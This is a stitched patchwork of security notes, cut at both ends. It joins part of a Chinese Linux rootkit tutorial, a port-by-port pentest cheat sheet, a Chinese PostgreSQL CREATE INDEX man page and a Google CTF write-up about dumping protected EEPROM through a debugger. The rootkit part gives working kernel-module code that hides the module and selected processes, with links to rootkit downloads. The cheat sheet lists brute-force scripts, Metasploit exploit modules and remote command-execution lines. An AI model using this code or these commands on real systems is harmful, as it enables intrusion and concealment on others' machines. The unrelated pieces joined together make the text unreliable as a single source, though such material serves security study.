我们再通过lsmod、或者直接读取内核模块链表的时候自然无法枚举到被我们隐藏的模块了,达到隐藏模块的目的 关于内核模块链表的相关知识请参阅 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } /* 从struct module结构体可以看出,在内核态,我们如果要枚举当前模块列表,可以使用list、kobj这两个成员域进行枚举 自然在断链隐藏的时候也需要对这两个成员进行操作 */ module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; } ``` 有关LKM模块隐藏还可参考: [Linux Rootkit系列一:LKM的基础编写及隐藏](http://www.freebuf.com/articles/system/54263.html) ## 0x07 Example-Process Hiding 上文提到,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果。 以下是基于/proc目录读取函数劫持的进程隐藏代码: ``` c static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 当检测到指定的需要隐藏的进程时,直接returned返回,即直接跳过这个进程的枚举 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); } ``` ## 0x08 Rootkit Sample 1). adore-ng(lkm)。adore-ng不修改系统调用层的内容,而是通过修改VFS(Virtual Filesystem Switch)层的具体处理函数,如替换VFS层的 file_ops等函数,来实现信息隐藏目的。原理细节可参考:[adore-ng learning](http://www.cnblogs.com/LittleHann/p/3879961.html#commentform). 下载: [adore-ng 0.41](https://packetstormsecurity.com/files/32843/adore-ng-0.41.tgz.html), [adore-ng github for linux 2.6 and 3.x](https://github.com/chonghw/adore-ng) 2). knark(Hooking system call). 行为:隐藏或显示文件或目录; 隐藏TCP或UDP连接;程序执行重定向;非授权地用户权限增加(“rootme”); 改变一个运行进程的UID/GID的工具;非授权地、特权程序远程执行守护进程(后门端口);Kill –31: 隐藏运行的进程;调用表修改: rootkit通过修改导出的系统调用表,对与攻击行为相关的系统调用进行替换,隐藏攻击者的行踪。 原理细节可参考: [kark learning](http://www.cnblogs.com/LittleHann/p/3879961.html#commentform) .下载:[knark download](https://packetstormsecurity.com/files/24853/knark-2.4.3.tgz.html) 3).suckit. 行为:采用动态隐藏的方式来隐藏指定的内容,包括文件、进程、以及网络连接。suckit不同于其它基于lkm的hooking rootkit,没有修改系统调用表的内容,而是首先拷贝了系统调用表,然后将拷贝的系统调用表按照攻击者的意图进行修改执行攻击者改写的系统调用响应函数,然后将system_call(INT 80服务程序)从旧的系统调用表上移开,指向新的系统调用表. 有关suckit原理详细介绍,可参考: [suckit learning](http://www.hacker.com.cn/uploadfile/2013/0416/20130416020443596.pdf)。 下载:[suckit download](https://packetstormsecurity.com/files/40690/suckit2priv.tar.gz.html) 其它rootkit samples还包括:[enyelkm](https://github.com/David-Reguera-Garcia-Dreg/enyelkm),[wnps](http://www.cnblogs.com/LittleHann/p/3879961.html#commentform), [brootkit](https://github.com/cloudsec/brootkit)(其中brootkit详细介绍可参考[brookit analysis](http://www.cnblogs.com/LittleHann/p/4321826.html)), [xingyiquan](https://packetstormsecurity.com/files/128945/Xingyiquan-Linux-2.6.x-3.x-Rootkit.html),[synapsys](https://packetstormsecurity.com/files/24482/Synapsys-lkm.tar.gz.html) 。
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Ports |**Port Number**|**Protocol**|**Service & Application**|**Commands**| |:--------------|:-----------|:------------------------|:-----------| |1|tcp|blackice|| |7|tcp|echo|| |11|tcp|systat|| |13|tcp|daytime|| |15|tcp|netstat|| |17|tcp|quote of the day|| |19|tcp|character generator|| |21|tcp|ftp|nmap --script ftp-anon `target`|| |22|tcp|ssh|msf > use auxiliary/scanner/ssh/ssh_login<BR>nmap --script ssh2-enum-algos 192.168.108.197<BR>nmap --script ssh-hostkey 192.168.108.197<BR>nmap --script sshv1 192.168.108.197| |23|tcp|telnet|msf > use auxiliary/scanner/telnet/telnet_login<BR>nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s `target`<BR>nmap -p 23 --script telnet-encryption `target`<BR>nmap -p 23 --script telnet-ntlm-info `target`| |25|tcp|smtp|nmap -p 25 --script smtp-brute `target`<BR>nmap --script smtp-commands.nse [--script-args smtp-commands.domain=`domain`] -pT:25,465,587 `target`<BR>nmap -p 25,465,587 --script smtp-ntlm-info --script-args smtp-ntlm-info.domain=domain.com `target`<BR>nmap --script smtp-open-relay.nse [--script-args smtp-open-relay.domain=`domain`,smtp-open-relay.ip=`address`,...] -p 25,465,587 `target`<BR>nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 `target`<BR>nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 `target`<BR>nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=`domain`' -pT:25,465,587 `target`<BR>nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 `target`| |26|tcp|ssh|| |37|tcp|rdate|| |49|tcp|TACACS+|| |53|tcp|dns|| |53|udp|dns|| |67|tcp|DHCP|| |68|tcp|dhclient|| |69|udp|TFTP,BitTorrent|| |70|tcp|Gopher|| |79|tcp|Finger|| |80|tcp|HTTP,malware|| |81|tcp|HTTP,malware|| |82|tcp|HTTP,malware|| |83|tcp|HTTP|| |84|tcp|HTTP|| |88|tcp|Kerberos|use auxiliary/admin/kerberos/ms14_068_kerberos_checksum| |102|tcp|Siemens S7|| |110|tcp|pop3|| |111|tcp|RPC|rpcinfo -p 192.168.1.111<BR>msf >use auxiliary/scanner/nfs/nfsmount| |119|tcp|NNTP|| |123|tcp|NTP|| |123|udp|ntp|ntpdc -n -c monlist `target`<BR>nmap -sU -p 123 -Pn -n --script ntp-info `target`<BR>nmap -sU -p 123 -Pn -n --script ntp-monlist `target`<BR>msf > use auxiliary/scanner/ntp/ntp_readvar| |137|tcp|NetBIOS|nbtscan -A `target`| |143|tcp|IMAP|| |161|udp|snmp|snmpcheck -p 161 -c public -t `target`<BR>snmpwalk -v1 -c public `target`<BR>msf > use auxiliary/scanner/snmp/snmp_enum| |175|tcp|IBM Network Job Entry|| |179|tcp|BGP|| |195|tcp|TA14-353a|| |311|tcp|OS X Server Manager|| |389|tcp|ldap|ldap://`target`/dc=com| |443|tcp|https|openssl s_client -host www.yahoo.com -port 443<BR>sslscan www.yahoo.com<BR>tlssled www.yahoo.com 443<BR>nmap --script sslv2 www.yahoo.com<BR>nmap --script ssl-cert www.yahoo.com<BR>nmap --script ssl-date www.yahoo.com<BR>nmap --script ssl-enum-ciphers www.yahoo.com<BR>nmap --script ssl-google-cert-catalog www.yahoo.com<BR>msf > use auxiliary/pro/web_ssl_scan<BR>msf > use auxiliary/scanner/ssl/openssl_heartbleed<BR>msf > use auxiliary/server/openssl_heartbeat_client_memory| |445|tcp|Microsoft-DS Active Directory, Windows shares<BR>Microsoft-DS SMB file sharing|smbclient -U root -L `target`<BR>smbclient -U root //`target`/tmp<BR>rpcclient -U "" `target`<BR>msf > auxiliary/admin/smb/samba_symlink_traversal| |465|tcp|smtps|| |500|udp|ike|| |502|tcp|modbus|| |503|tcp|modbus|| |512|tcp||| |513|tcp||| |514|tcp||| |515|tcp|Line Printer Daemon|| |520|tcp|RIP|| |523|tcp|IBM DB2|| |554|tcp|RTSP|| |587|tcp|SMTP mail submission|| |623|tcp|IPMI|| |626|tcp|OS X serialnumbered|| |631|tcp|CUPS Service error|| |636|tcp|ldaps|| |771|tcp|Realport|| |789|tcp|Redlion Crimson3|| |873|tcp|rsync|rsync -a user@host::tools/<BR>nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' `target`<BR>nmap -p 873 --script rsync-list-modules `target`<BR>msf >use auxiliary/scanner/rsync/modules_list| |902|tcp|VMware authentication|| |992|tcp|Telnet(secure)|| |993|tcp|IMAPs|| |995|tcp|POP3s|| |1023|tcp|telnet|| |1025|tcp|Kamstrup|| |1099|tcp|Remote Method invocation|use exploit/multi/misc/java_rmi_server| |1194|tcp|openvpn|| |1200|tcp|Codesys|| |1234|udp|udpxy|| |1202|tcp|linknat|| |1434|udp|MS-SQL monitor|| |1604||Citrix, malware|| |1723|tcp|pptp|thc-pptp-bruter -v -u `username` -n 4 `target` < pass.txt| |1741||CiscoWorks|| |1833||MQTT|| |1900|tcp|bes,UPnP|| |1911||Niagara Fox|| |1962||PCworx|| |2000||iKettle,MikroTik bandwidth test|| |2049|tcp|nfs|showmount --all `target`<BR>showmount --exports `target` <BR>mount -t nfs `target`:/ /mnt/nfs/| |2121|tcp|ftp|msf > use auxiliary/scanner/ftp/ftp_login| |2082|tcp|cpanel|| |2083|tcp|cpanel|| |2086||WHM|| |2087||WHM|| |2123||GTPv1|| |2152||GTPv1|| |2182||Apache Zookeeper|| |2222|tcp|SSH, PLC5, EtherNet/IP|| |2323|tcp|telnet|| |2332|tcp|Sierra wireless(telnet)|| |2375||Docker|| |2376||Docker|| |2404||IEC-104|| |2455||CoDeSys|| |2480||OrientDB|| |2628||Dictionary|| |3000||ntop|| |3128|tcp|squid|| |3299|tcp|sap|msf > use auxiliary/scanner/sap/sap_router_portscanner| |3306|tcp|mysql|msf > auxiliary/scanner/mysql/mysql_login<BR>nmap --script mysql-brute `target`<BR>nmap --script mysql-databases `target`<BR>nmap -p 3306 --script mysql-dump-hashes `target`<BR> --script-args='username=`username`,password=`password`' `target`<BR>nmap -p 3306 --script mysql-enum `target`<BR>nmap -p 3306 --script mysql-users `target`<BR>nmap -p 3306 <ip> --script mysql-query --script-args='query="`query`"[,username=`username`,password=`password`] `target`'| |3310|tcp|ClamAV|| |3386||GTPv1|| |3388||RDP|| |3389||RDP|| |3541||PBX GUI|| |3542||PBX GUI|| |3632|tcp|distccd|msf > use exploit/unix/misc/distcc_exec | |3689||DACP|| |3780||Metasploit|| |3787||Ventrilo|| |4022||udpxy|| |4369|tcp|Erlang Port Mapper Daemon|nmap -p 4369 --script epmd-info `target`| |4440|tcp|rundeck|| |4500||IKE NAT-T(VPN)|| |4567||Modem web interface|| |4070||VertX/Edge door controller|| |4800||Noxa Nport|| |4911||Niagara Fox with SSL|| |4949||Munin|| |5006||MELSEC-Q|| |5007||MELSEC-Q|| |5008||NetMobility|| |5009||Apple Aitport Administrator|| |5038|tcp|Asterisk Call Manager|http://code.google.com/p/sipvicious/<BR><BR>$ ncat -v 192.168.108.196 5038<BR>Ncat: Version 6.47 ( http://nmap.org/ncat )<BR>Ncat: Connected to 192.168.108.196:5038.<BR>Asterisk Call Manager/1.1<BR>action: login<BR>username: admin<BR>secret: amp111<BR><BR>Response: Success<BR>Message: Authentication accepted<BR>action: command<BR>command: core show help| |5432|tcp|postgresql|| |5060|udp|sip|msf > use auxiliary/scanner/sip/options| |5222||XMPP|| |5269||XMPP Server to Server|| |5353||mDNS|| |5357||Mirosoft-HTTP API/2.0|| |5432||Postgresql|| |5555|tcp|hp data protector|msf > use exploit/windows/misc/hp_dataprotector_cmd_exec| |5577||Flux LED|| |5601|tcp|kibana|| |5632||PCAnywhere|| |5672||RabbitMQ|| |5900|tcp|vnc|msf > use auxiliary/scanner/vnc/vnc_none_auth<BR>msf > use auxiliary/scanner/vnc/vnc_login <BR>msf > use exploit/multi/vnc/vnc_keyboard_exec<BR>nmap --script vnc-brute -p 5900 <host><BR>nmap --script vnc-info -p 5900 <host>| |5901||vnc|| |5938||TeamViewer|| |5984||CouchDB|| |5985|tcp|winrm|msf >use exploit/windows/winrm/winrm_script_exec<BR>msf >use auxiliary/scanner/winrm/winrm_auth_methods<BR>msf >use auxiliary/scanner/winrm/winrm_cmd<BR>msf >use auxiliary/scanner/winrm/winrm_login<BR>msf >use auxiliary/scanner/winrm/winrm_wql| |6000|tcp|x11|xwd -root -screen -slient -display 192.168.1.108:0 > out.xwd<BR>convert out.xwd out.png| |6379|tcp|redis|redis-cli -h 127.0.0.1 -p 6379<BR>msf >use auxiliary/scanner/redis/file_upload<BR>msf >use auxiliary/scanner/redis/redis_login<BR>use auxiliary/scanner/redis/redis_server| |6380|tcp|redis|| |6082|tcp|varnish|| |6667|tcp|ircd backdoor|msf > use exploit/unix/irc/unreal_ircd_3281_backdoor| |6881||BitTorrent|| |6969||TFTP,BitTorrent|| |7001|tcp|weblogic|| |8080|tcp|jekins|Jekins Console<BR>println "cmd.exe /c dir".execute().text<BR><BR>msf >use auxiliary/scanner/http/jenkins_enum<BR>msf >use exploit/multi/http/jenkins_script_console| |8083|tcp|vestacp|| |8089|tcp|jboss|| |8101|tcp|apache karaf|| |8180|tcp|apache tomcat|msf > use exploit/multi/http/tomcat_mgr_deploy| |8443|tcp|https|| |8554|tcp|rtsp|| |8649|tcp|ganglia|| |9009|tcp|Julia|| |9151|tcp|Tor Control|| |9160||Apache Cassandra|| |9200|tcp|elasticsearch|msf >use exploit/multi/elasticsearch/search_groovy_script| |9418|tcp|git|| |10000|tcp|virtualmin/webmin|| |11211|tcp|memcache|msf > use auxiliary/gather/memcached_extractor<br>$ nc x.x.x.x 11211<BR>stats\r\n| |13579||Media Player classic web interface|| |15672|tcp|rabbitmq|http login - guest/guest| |17185||VxWorks WDBRPC|| |18083|tcp|vbox server|| |27017|tcp|mongodb|msf >use auxiliary/scanner/mongodb/mongodb_login<BR>$ mongo host:port/database<BR>MongoDB shell version: 2.6.12<BR>> help| |28017|tcp|mongodb|| |37777||Dahua DVR|| |44818||EtherNet/IP|| |49153||WeMo Link|| |50000|tcp|sap|| |50030|tcp|hadoop|| |50070|tcp|hadoop|| |51106||Deluge(HTTP)|| |54138||Toshiba PoS|| |55553||Metasploit|| |55554||Metasploit|| |62078||Apple iDevice|| |64738||Mumble|| # Links 1. http://www.rfc-editor.org/search/rfc_search.php 2. http://packetlife.net/ 3. https://www.leanpub.com/shodan
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE INDEX" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE INDEX \- 定义一个新索引 .SH SYNOPSIS .sp .nf CREATE [ UNIQUE ] INDEX \fIname\fR ON \fItable\fR [ USING \fImethod\fR ] ( { \fIcolumn\fR | ( \fIexpression\fR ) } [ \fIopclass\fR ] [, ...] ) [ WHERE \fIpredicate\fR ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE INDEX\fR 在指定的表上构造一个名为 index_name 的索引。索引主要用来提高数据库性能。但是如果不恰当的使用将导致性能的下降。 .PP 索引的键字字段是以字段名的方式声明的,或者是可选的写在一个圆括弧里面的表达式。 如果索引方式支持多个字段索引,那么我们也可以声明多个字段。 .PP 一个索引字段可以是一个使用表的行的一个或多个字段的数值进行计算的表达式。 整个特性可用于获取对基本数据某种变形的快速访问。 比如,一个在 upper(col) 上的函数索引将允许子句 WHERE upper(col) = 'JIM' 使用索引。 .PP PostgreSQL 为从索引提供 B-tree,R-tree,hash(散列) 和 GiST 索引方法。 B-tree 索引方法是一个 Lehman-Yao 高并发 B-trees 的实 现。R-tree 索引方法用 Guttman 的二次分裂算法实现了标准的 R-trees。 hash(散列)索引方法是 Litwin 的线性散列的一个实现。 用户也可以定义它们自己的索引方法,但这个工作相当复杂。 .PP 如果出现了 WHERE 子句,则创建一个部分索引。 部分索引是一个只包含表的一部分记录的索引,通常是该表中最让人感兴趣的部分。 比如,如果你有一个表,里面包含已上账和未上账的定单, 未上账的定单只占表的一小部分而且这部分是最常用的部分, 那么你就可以通过只在这个部分创建一个索引来改善性能。 另外一个可能的用途是用 WHERE 和 UNIQUE 强制一个表的某个子集的唯一性。 .PP 在 WHERE 子句里用的表达式只能引用下层表的字段(但是它可以使用所有字段,而不仅仅是被索引的字段)。 目前,子查询和聚集表达式也不能出现在WHERE里。 .PP 索引定义里的所有函数和操作符都必须是immutable,(不变的)也就是说, 它们的结果必须只能依赖于它们的输入参数,而决不能依赖任何外部的影响(比如另外一个表的内容或者当前时间)。 这个约束确保该索引的行为是定义完整的。要在一个索引上使用用户定义函数,请记住在你创建它的时候把它标记为immutable的函数。 .SH "PARAMETERS 参数" .TP \fBUNIQUE\fR 令系统检测当索引创建时(如果数据已经存在)和每次添加数据时表中是否有重复值。 如果插入或更新的值会导致重复的记录时将生成一个错误。 .TP \fB\fIname\fB\fR 要创建的索引名。这里不能包含模式名; 索引总是在同一个模式中作为其父表创建的。 .TP \fB\fItable\fB\fR 要索引的表名(可能有模式修饰)。 .TP \fB\fImethod\fB\fR 用于索引的方法的名字。可选的名字是 btree, hash,rtree,和 gist。缺省方法是 btree。 .TP \fB\fIcolumn\fB\fR 表的列/字段名。 .TP \fB\fIexpression\fB\fR 一个基于该表的一个或多个字段的表达式。 这个表达式通常必须带着圆括弧包围写出,如语法中显示那样。 不过,如果表达式有函数调用的形式,那么圆括弧可以省略。 .TP \fB\fIopclass\fB\fR 一个关联的操作符表。参阅下文获取细节。 .TP \fB\fIpredicate\fB\fR 为一个部分索引定义约束表达式。 .SH "NOTES 注意" .PP 参阅 ``Indexes'' 获取有关何时使用索引,何时不使用索引, 以及哪种情况下是有用的信息。 .PP 目前,只有 B-tree 和 gist 索引方法支持多字段索引。 缺省时最多可以声明 32 个键字(这个限制可以在制作 PostgreSQL 时修改)。 目前只有 B-tree 支持唯一索引。 .PP 可以为索引的每个列/字段声明一个 操作符表。 操作符表标识将要被该索引用于该列/字段的操作符。 例如, 一个四字节整数的 B-tree 索引将使用 int4_ops 表; 这个操作符表包括四字节整数的比较函数。 实际上,该域的数据类型的缺省操作符表一般就足够了。 某些数据类型有操作符表的原因是,它们可能有多于一个的有意义的顺序。 例如,我们对复数类型排序时有可能以绝对值或者以实部。 我们可以通过为该数据类型定义两个操作符表,然后在建立索引的时候选择合适的表来实现。 有关操作符表更多的信息在 ``Operator Classes'' 和 ``Interfacing Extensions to Indexes'' 里。 .PP 使用 DROP INDEX [\fBdrop_index\fR(7)] 删除一个索引。 .SH "EXAMPLES 例子" .PP 在表films上的 title字段创建一个 B-tree 索引: .sp .nf CREATE UNIQUE INDEX title_idx ON films (title); .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCREATE INDEX\fR 是 PostgreSQL 语言扩展。 在 SQL 标准中没有 CREATE INDEX 命令。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Google CTF - Registers Matter (347pt / 12 solves) We have an unknown remotely accessible board that hides the flag. Try to debug it to steal the flag! Files: - debugger.zip ## 1. Investigating the `debugger.py` We quickly realised that `debugger.py` was a helpful client, allowing to interact with the server via simple text-based protocol. Client provided nice interface for debugging facilities (e.g. pretty-printing register info). After connecting to the server, we've been asked to enter one of 2 modes: - **debug** - which starts application in debug mode, accepting debugger commands like adding breakpoints, reading/modifying registers and stepping through instructions - **challenge** - in which the flag was available, but without access to debugger After running the application, it shows a menu and asks for a command: ``` Menu: 1. Read the EEPROM 2. Magic function 0. Exit Choice (do not enter more than 5 chars): ``` ### 1.1 Reading EEPROM First command asks for starting sector and number of sectors to read. Unfortunately, there comes the first limitation: we're able to read only 0x800-0x1000 region. After choosing lower sector number, we're getting an error message: ``` Menu: 1. Read from EEPROM 2. Magic function 0. Exit Choice (do not enter more than 5 chars): 1 Enter start sector (16-31, 0 to exit): 1 ### DENIED: access to software-protected area! ``` This suggests that flag is contained in the lower part of EEPROM memory. The higher part contains only `Hello there!` string with other bytes zeroed. ``` Enter start sector (16-31, 0 to exit): 16 Enter number of sectors to read (1-16): 16 === EEPROM dump (0x800 - 0x1000) === 0800: 48 65 6C 6C 6F 20 74 68 65 72 65 21 00 00 00 00 | Hello there!.... 0810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0FF0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ ``` ### 1.2. Magic function Second command asks for two "Magic component" numbers A and B. ``` Menu: 1. Read from EEPROM 2. Magic function 0. Exit Choice (do not enter more than 5 chars): 2 Enter Magic component number A and then B: 0 1 Wheee: 0, 1! Enter Magic component number A and then B: 1 2 No magic for 1, 2 :( Enter Magic component number A and then B: 2 2 You are not a Wizard for Real magic of 2, 2 :( ``` Output seemed to depend mostly on the first component value, showing one of three response variants. ### 1.3. Debugger After choosing debugger mode in the first menu, we're getting simple debugger shell. ``` Please choose mode of operation: D - debug session C - challenge mode Choice: D DBG> help Available commands: step [COUNT] input STR cont trace pause SECS reg [<RN> <VALUE>] ... [<RN> <VALUE>] break [delete|toggle N] | [ADDR] write RAW-COMMAND quit|exit ``` Debugger allows to set breakpoints, single-stepping, reading/modifying the registers and turning on the "trace" mode which prints processor state after each instruction. Let's turn on the `trace`. After short time we're getting the input reading loop: ``` pc = 00014A gp0 = 20 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DCA gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = DE gp13 = 1D gp14 = 00 gp15 = 02 flg = 80 gp16 = DE gp17 = 1D gp18 = 03 gp19 = 00 gp20 = 00 gp21 = 02 gp22 = 00 gp23 = 04 00000001F9E2 gp24 = 01 gp25 = 02 gp26 = 00 gp27 = 02 gp28 = 00 gp29 = 02 gp30 = 9B gp31 = 00 gp32 = 000006 pc = 00014A gp0 = 20 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DCA gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = DE gp13 = 1D gp14 = 00 gp15 = 02 flg = 80 gp16 = DE gp17 = 1D gp18 = 03 gp19 = 00 gp20 = 00 gp21 = 02 gp22 = 00 gp23 = 04 00000001F9E2 gp24 = 01 gp25 = 02 gp26 = 00 gp27 = 02 gp28 = 00 gp29 = 02 gp30 = 9B gp31 = 00 gp32 = 000006 ... ``` Machine underneath uses 32 general purpose registers (8-bit `gp0-31` and 24-bit `gp32`), stack pointer `sp`, flag register `flg`, program counter `pc` and unlabeled register keeping the count of executed instructions. After short trace analysis we found that `gp32` depends on `sp` and shows three bytes from stack: `sp-1`, `sp` and `sp+1`. It also turned out that application was performing a lot of loops even during printing output characters, which made output from tracing a lot harder to read. Knowing all of this we decided to focus our attention on read EEPROM functionality first to read other EEPROM sectors. ## 2. Dumping EEPROM By analyzing a trace, we found two points that seemed nice for putting a breakpoint: - `0x14a` when application waits for input - `0x12c` when application sends output character Debugger allows us to change the value of `gp` registers, so let's find the actual "EEPROM read" operation. We've used breakpoints above to automate the interaction with server and trace it only during the actual command execution. First, we've looked for instruction that puts "Hello there!" subsequent bytes to the registers (load from EEPROM). We've found a good candidate @ 0x778: ``` PC=000778 SP=1DE3 FLAGS=20 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E3,03,03,00,00,00,00,00,E3,03,D6,00,00,00,E3,03,001DEA PC=00077A SP=1DE3 FLAGS=20 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E3,03,03,00,00,00,00,00,4D,03,D6,00,00,00,E4,03,001DEA ^^ -- PC=000778 SP=1DE3 FLAGS=22 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E4,03,03,00,00,00,00,02,00,00,00,02,00,00,E4,03,CA1DEA PC=00077A SP=1DE3 FLAGS=22 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E4,03,03,00,00,00,00,02,65,00,00,02,00,00,E5,03,CA1DEA ^^ -- PC=000778 SP=1DE3 FLAGS=22 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E5,03,03,00,00,00,00,02,00,00,00,02,00,00,E5,03,CA1DEA PC=00077A SP=1DE3 FLAGS=22 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E5,03,03,00,00,00,00,02,6E,00,00,02,00,00,E6,03,CA1DEA ^^ -- PC=000778 SP=1DE3 FLAGS=22 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E6,03,03,00,00,00,00,02,00,00,00,02,00,00,E6,03,CA1DEA PC=00077A SP=1DE3 FLAGS=22 REGS=20,00,00,00,00,00,00,00,00,00,00,00,17,04,FA,1D,E6,03,03,00,00,00,00,02,75,00,00,02,00,00,E7,03,CA1DEA ^^ ``` In trace presented above, it loads next bytes of `Menu` string from `0x3E3-0x3E6` (`gp31:gp32 => gp24`) and increments address in `gp31:gp32` registers. At first sight, it looked to be the "load operation" we're looking for. ```python def read_from_addr(addr, len): buf = [] r = remote("registers.2020.ctfcompetition.com", 1337) # Enter debugger r.recvuntil("&M") r.sendline("&D") # Set breakpoint at 778 r.sendline("*B+%04X" % 0x778) for l in range(len): memaddr = addr + l # Continue r.sendline("*C") # Wait for hit r.recvuntil("*B|0001") r.sendline(zero_regs + ",30=%04X,31=%04X$" % (memaddr & 0xff, (memaddr >> 8) & 0xff)) r.sendline("*S") regs = r.recvuntil("$") memread = int(regs.split("|")[1].split(",")[28], 16) buf.append(chr(memread)) print(hex(memaddr), chr(memread), regs) r.close() return ''.join(buf) ``` After probing various regions, we've found that 0x200-0x500 region contains strings used by application. ``` \x00\x00\x00\x00\x92\x00\x00\x00\x00\x00heee: %d, %d! \x00o magic for %d, %d :( \x00== EEPROM dump (0x%02X - 0x%02X) === \x00## ERROR: read beyond flash boundaries \x0002X \x00| \x00%04X: \x00ou are not a Wizard for Real magic of %d, %d :( \x00nter start sector (16-31, 0 to exit): \x00-> wrong start sector number\x00## DENIED: access to software-protected area!\x00nter number of sectors to read (1-16): \x00-> wrong sectors number\x00-> read beyound flash boundaries\x00nter Magic component number A and then B:\x00nknown choice.\x00enu:\x00. Read from EEPROM\x00. Magic function\x00. Exit\x00hoice (do not enter more than 5 chars): \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ``` Unfortunately, it wasn't "load from EEPROM" instruction but data memory load (RAM). Using this instruction, 0x800-0x1000 region was returning just zeroes. We've tried to put different sector numbers/length to compare the traces and possibly find the next instruction. Then we've found the 0xBAA when evaluated starting section address has been put into the register. Let's try to change that value using debugger to read the "reserved" area. ``` DBG> b 2986 DBG> cont Choice (do not enter more than 5 chars): 1 Enter start sector (16-31, 0 to exit): 16 Enter number of sectors to read (1-16): ^C DBG> Cycles passed: 14230405 DBG> b t 1 DBG> c 16 === EEPROM dump (0x800 - 0x1000) === pc = 000BAA gp0 = 80 gp1 = 00 gp2 = 00 gp3 = 21 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 08 sp = 1DB3 gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = 17 gp13 = 04 gp14 = 00 gp15 = 08 flg = 80 gp16 = 00 gp17 = 10 gp18 = 03 gp19 = 02 gp20 = 31 gp21 = 1D gp22 = 00 gp23 = 02 00000146AD63 gp24 = 25 gp25 = 00 gp26 = 00 gp27 = 02 gp28 = BA gp29 = 1D gp30 = 00 gp31 = 02 gp32 = 000000 Breakpoint hit #1 Cycles passed: 50057 DBG> r 7 0 DBG> b t 1 DBG> c 0000: 43 54 46 7B 44 45 42 55 47 5F 4D 4F 44 45 2C 4E | CTF{DEBUG_MODE,N 0010: 4F 54 20 41 20 46 4C 41 47 7D 00 00 00 00 00 00 | OT A FLAG}...... 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ ``` Now, we're sure that flag is contained in EEPROM at zero address. Unfortunately, when application is put into debug mode: we can only get fake flag `CTF{DEBUG_MODE,NOT A FLAG}` 0xBAA wasn't a great candidate because "address evaluation" function is also used during printing the menu: ``` Please choose mode of operation: D - debug session C - challenge mode Choice: D DBG> b 2986 DBG> c Menu: 1. Read from EEPROM 2. Magic 